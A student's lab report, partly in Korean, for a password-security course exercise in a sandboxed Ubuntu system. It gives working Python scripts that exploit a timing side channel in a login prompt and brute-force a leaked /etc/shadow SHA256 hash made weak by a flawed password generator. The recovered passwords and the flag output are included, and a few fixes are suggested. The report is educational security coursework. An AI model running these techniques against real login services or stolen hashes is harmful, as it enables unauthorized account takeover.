CSED415 Lab 04: Password security Report

20230499 / 김재환 / Kim Jaehwan

1. Overview

이번 랩에서는 과제 환경에 접속하여, 샌드박싱된 우분투 환경에 ubuntu 계정으로 로그인 후, dave 계정으로 로그인하는 것이 목표이다. 각 과정을 해결하기 위해, 각각 두 번의 패스워드를 알아내야 한다.

2. Phase 1: ubuntu

- 처음 우분투 계정에 로그인을 시도하려고 하면 패스워드를 입력하는 창만 있으며, 그 이외에는 아무것도 알아낼 수 없다. 패스워드의 길이 또한 알 수 없다.
- 현재 알고있는 것은:
  - 패스워드는 출력할 수 있는 아스키 문자로 이루어져 있다. (공백을 제외, 94개의 문자)
- README에 따라 입력할 수 있는 여러 아스키 문자를 입력하다 보니, 다음과 같은 사실을 눈치챌 수 있었다.

csed415-lab04@csed415:/tmp/whatthehack **$ nc localhost 10004** Ubuntu 22.04 ubuntu tty1 ubuntu login: E Incorrect password!	**csed415-lab04@csed415:/tmp/whatthehack** **$ nc localhost 10004** Ubuntu 22.04 ubuntu tty1 ubuntu login: F Incorrect password!

- 다른 문자를 입력했을 때는 즉시 Incorrect password!라는 문구가 출력되었지만, F를 입력했을 때에는 F 문자를 전달(엔터)하는 즉시 출력되는 것이 아니라 한 번 더 개행을 받아야만 Incorrect password! 문구가 출력됨을 확인하였다. 이를 통해 ubuntu 패스워드의 첫 글자는 F이며, 정답 암호의 prefix가 입력되었을 때 이런 문제가 발생하는 것으로 유추할 수 있었다.
- 따라서, 현재까지 알 수 있는 prefix(F)에 출력할 수 있는 아스키 문자를 하나씩 붙여보면서 같은 현상이 발생하는 것이 있는지 확인해 보았고, 그 결과 패스워드의 두 번째 문자는 0임을 알 수 있었다.

csed415-lab04@csed415:/tmp/whatthehack **$ nc localhost 10004** Ubuntu 22.04 ubuntu tty1 ubuntu login: Fz Incorrect password!	**csed415-lab04@csed415:/tmp/whatthehack** **$ nc localhost 10004** Ubuntu 22.04 ubuntu tty1 ubuntu login: F0 Incorrect password!

- 입력 문자가 길어질수록 Incorrect인지 판정하는 시간이 더 오래 걸렸다.
- 이 취약점을 통해 부 채널 공격하기 위해서, 다음과 같이 코드를 작성하였다. (디버깅 및 로깅을 위한 출력 코드는 제거하였음.)

```python
def phase1():
    prefix = ''
    done = False
    while(True):
        for c in printable_ascii:
            trying = prefix + c
            p = make_process()
            login_prompt = p.recvuntil(b"ubuntu login: ")
            p.sendline(trying.encode())
            res = p.recvall(timeout = len(trying) * 0.8)
            if res:
                if b"Incorrect password!" in res:
                    print(f"{c}", end="", flush=True)
                    p.close()
                else:
                    prefix = trying
                    done = True
                    p.close()
                    break
            else:
                prefix = trying
                p.close()
                break
        if done:
            break
    return prefix
```

- 원본 패스워드를 찾을 때까지 다음을 반복한다.
  - 이전까지 찾았던 prefix에 아스키 문자를 하나 추가해서 시도해 본다.
  - 틀렸다면 다음 아스키 문자를 시도한다.
  - 맞았다면, prefix를 갱신하고 다시 시도한다.
- 이는 개행을 한 번만 넣고(sendline() 메서드), recvall() 메서드의 timeout 인자를 통해서 구현하였다. 만약 즉시 Incorrect 문구가 출력되었다면 틀렸다는 것이고, recvall() 메서드가 아무 문자도 받지 못했다면 개행이 한 번 더 필요하다는 의미이므로 추가한 문자가 이전 prefix와 이어지는 문자가 될 것이다.
- 찾아낸 ubuntu의 암호는 다음과 같다.

```
ubuntu_password = "F0r7uNe_f4V0r5_the_|3R4ve"
```

- 이러한 취약점을 개선하기 위해서 다음과 같은 방법을 도입할 수 있다.
  - 한 번 더 개행받아야 함을 수정
  - 타이밍 랜덤화, 딜레이 등을 이용

3. Phase 2: dave

- ubuntu에 성공적으로 로그인한 후, 다음과 같은 note를 발견할 수 있다.

```
ubuntu@sandbox:~$ cat /etc/atk.note
It is pretty tricky to compromise this system.. I'm leaving some note
for further investigation.

1. I could leak the password entry of dave from `/etc/shadow`:
- dave:$5$RByrWzKkQroXD$jgzSfKmMS/O.6pP0TEIZitkB.gUSqEy5s1vLoklivU5
- This is a good place to get started with cracking his password!
- But without additional information, brute-forcing would take too much time :(

2. I think I need to reverse-engineer /bin/pwdmgr, for more insight into his password.
- Dave seems to have generated his password using the pwdmgr program.
- I have copied the pwdmgr binary into /home/csed415-lab04/
- gen_strong_pwd function seems to be relevant.. it relies on openssl
  to generate a salted hash of a password. But why does it NOT hash the
  user-provided password directly? Very weird.. Let's reverse-engineer this function.
```

- 이를 통해 다음 정보를 얻을 수 있다.
- dave의 패스워드의 해시값 전체가 들어있으며, 이를 통해 SHA256 알고리즘으로 계산되었다는 것과 salt값이 RByrWzKkQroXD임을 알 수 있다. 참고로, 아래에서 openssl passwd –5 명령을 사용하였음을 알 수 있고, openssl passwd –5 명령의 출력포맷은 5<salt>$<hash> 구조이다.

```
/etc/shadow: $5$RByrWzKkQroXD$jgzSfKmMS/O.6pP0TEIZitkB.gUSqEy5s1vLoklivU5

csed415-lab04@csed415:/tmp/whatthehack$ openssl passwd --help
Usage: passwd [options] [password]
                                          [...]
Cryptographic options:
 -salt val          Use provided salt
 -6                 SHA512-based password algorithm
 -5                 SHA256-based password algorithm
 -apr1              MD5-based password algorithm, Apache variant
 -1                 MD5-based password algorithm
 -aixmd5            AIX MD5-based password algorithm
                                          [...]
```

- 또한 dave의 패스워드는 pwdmgr 바이너리를 통해 생성되었으며, gen_strong_pwd 함수가 취약하다고 제시하고 있다. 따라서 해당 함수를 gdb를 통해 분석하였다. 대략적인 흐름은 다음과 같다.

```
pwndbg> x/s 0x4040a0
0x4040a0 <input>:       ""
pwndbg> x/s 0x40212c
0x40212c:       "openssl passwd –5 %s“
```

getlogin() 함수를 통해 현재 사용자의 이름을 가져와 저장한다.
입력으로부터 첫 3바이트만 복사해 저장한다.
이전에 가져온 현재 사용자의 이름을 가져와, 입력 3바이트 이후에 배치한다.
널 문자를 뒤에 배치한다. (*gen_strong_pwd + 97)
즉, “Input[0:2] + username + \0” 형태이므로, 문자열을 만든 것이다.
snprintf를 통해 버퍼에 출력한다. “openssl passwd –5 %s” 문자열의 %s에 이전에 만든 문자열를 쓴다.
마지막으로, 출력한 이 문자를 통해 시스템을 호출한다.

즉, 한 문장으로 요약하면 다음 명령을 실행하는 형태이다.
~$ openssl passwd –5 “$INPUT[0:2]$USERNAME”

- 이때 우리는 dave의 암호를 뚫으려고 하고 있으므로, $USERNAME은 dave일 것이다.
- $INPUT[0:2]의 값은, 출력할 수 있는 아스키코드 임의로 3개를 연결해서 대입해 볼 수 있다. 이때 경우의 수는 94^3 = 830584이므로, 충분히 시도해 볼 수 있다. (공백문자 제외)
- 즉, pwdmgr 바이너리는 이름과는 다르게 입력의 세 글자만 해시에 사용하기 때문에 암호의 엔트로피가 낮아 무작위 대입을 통해 길지 않은 시간 내에 찾아낼 수 있는 취약점이 있다.
- 코드는 다음과 같이 작성하였다. (로깅을 위한 출력 코드는 제거하였음) 이때 속도 향상을 위해 subprocess 모듈을 통해 직접 openssl을 실행하는 대신 crypt 라이브러리를 사용하였다.

```
leaked_hash = "$5$RByrWzKkQroXD$jgzSfKmMS/O.6pP0TEIZitkB.gUSqEy5s1vLoklivU5"
salt = "RByrWzKkQroXD"
def check(prefix):
    hashed = crypt.crypt(f"{prefix}dave", f"$5${salt}")
    if(hashed == leaked_hash):
        return f"{prefix}dave"
    return None
def phase2():
    dave_pw = ""
    for i, j, k in product(printable_ascii, repeat=3):
        prefix = i + j + k
        result = check(prefix)
        if result:
            dave_pw = result
            break
    return dave_pw
```

- 이를 통해 찾아낸 암호는 다음과 같다. 정확히 말하면, 원래 dave가 입력한 암호가 무엇이던 간에 첫 세 글자는 oP7이었을 것이며 그 값이 pwdmgr를 통해 생성된 해시는 아래 암호가 SHA256 해시된 값과 동일하다.

```
dave_password = "oP7dave"
```

- 이러한 취약점을 해결하기 위해서 입력 전체를 입력에 사용하는 등 패스워드가 더욱 높은 엔트로피를 갖도록 수정하면 좋을 것이다.

4. Result

exploit.py 실행을 통해 성공적으로 키와 플래그를 얻었다.

```
csed415-lab04@csed415:/tmp/whatthehack$ python3 exploit.py
This script will take a while to run. If you want to bypass the phases, set BYPASS_PHASE1 and BYPASS_PHASE2 to True.
You can use --bypass options to bypass the phases. More info in --help.
Found prefix: , trying: _abcdefghijklmnopqrstuvwxyzABCDEF, ... found: F.
Found prefix: F, trying: _abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0, ... found: 0.
Found prefix: F0, trying: _abcdefghijklmnopqr, ... found: r.
Found prefix: F0r, trying: _abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567, ... found: 7.
                                                    [...]
Found prefix: F0r7uNe_f4V0r5_the_|3R4, trying: _abcdefghijklmnopqrstuv, ... found: v.
Found prefix: F0r7uNe_f4V0r5_the_|3R4v, trying: _abcde, ... found: e.
[*] Found password: F0r7uNe_f4V0r5_the_|3R4ve
Progress will be shown every 10000 iterations. If password is found, it will be shown immediately.

0 / 830584, 0.00% proceed......
10000 / 830584, 1.20% proceed......
20000 / 830584, 2.41% proceed......
                                                    [...]
130000 / 830584, 15.65% proceed.....
[*] Found password: oP7dave
[*] Key1: F0r7uNe_f4V0r5_the_|3R4ve
[*] Key2: oP7dave
Ubuntu 22.04 ubuntu tty1
ubuntu login:
Login success

+-----------------------+
| Ubuntu Sandboxed Mode |
+-----------------------+
| Select command #:     |
|  1. cat /etc/shadow   |
|  2. cat ./atk.note    |
|  3. /bin/pwdmgr       |
|  4. Log in as dave    |
+-----------------------+
(1-4) >>>
 ubuntu@sandbox:~$ sudo su dave
[sudo] password for dave:
Great! Here is your flag
944583A6CFFB89C892AEABE82B57E278B05A7DC18DC6CCB1E3F18BB2F43587DC
ED067FFD4A6B5D99E88B15AF7E39A971B0774DA56D93F0CB0CD81FB08BB0D14E
E384C6B6CDBC91C347B36372023C0CF115F43D0FD98E78761F9F1C4EDC4326B3
9B42CDDF3EAA7BD26DC001C227477A3F610EFBC28A574589D4D86722D8ACD8F8
2D5253778B7292B9EA3CE6F8FEA97B9743E0DB249CB2A71C576BEC057CBBC3AF
A8ECBDCE8396B80847FD4041168FBBB77E668E5B0FBE5F8017AC630ACAA9B74C
1B923802B5B885A18CCD7C8CB4F147CBA1D638FEA47119FCDDFEC7D9B7ADF06F
3C5E5161FB69F0791B03D86A2629E1DD4940B40CC6F8DCA6D414E279DAC8579A
2DAB2F4ABFCC100391EB77D120DDCA9892640B13E7A06BDA1A5D6D1F391C0687
8867493602D42F2920AE8B9F217A117CEDC0CDA1811E1A0028CE690041450605
E3ABB91C68D8788936264EC19A4DACBAAB9596D6F21FED9BBE693D7BBE88A7A1
E8BB2D3773A6F8EE53E0740AC6E3FEB0B426B0143EFB2BFE38034151878304BA
1424F996814A7BE13588AF1C186CB479FBB74E7758B473C5B3B79DD085D6DD6D
7ED0BC0EC0E22B33CDF892D060211F485FF3392362223D67FD67CB3860F53433
D5FF467345477A0895D503F239BADBC3F738E0F377E0B6D7B119F9E552C57856
D972F8CB5E318CFA67BE6426D19265C3FDFEE007864D9CB7B8ABDE3C9840B886
```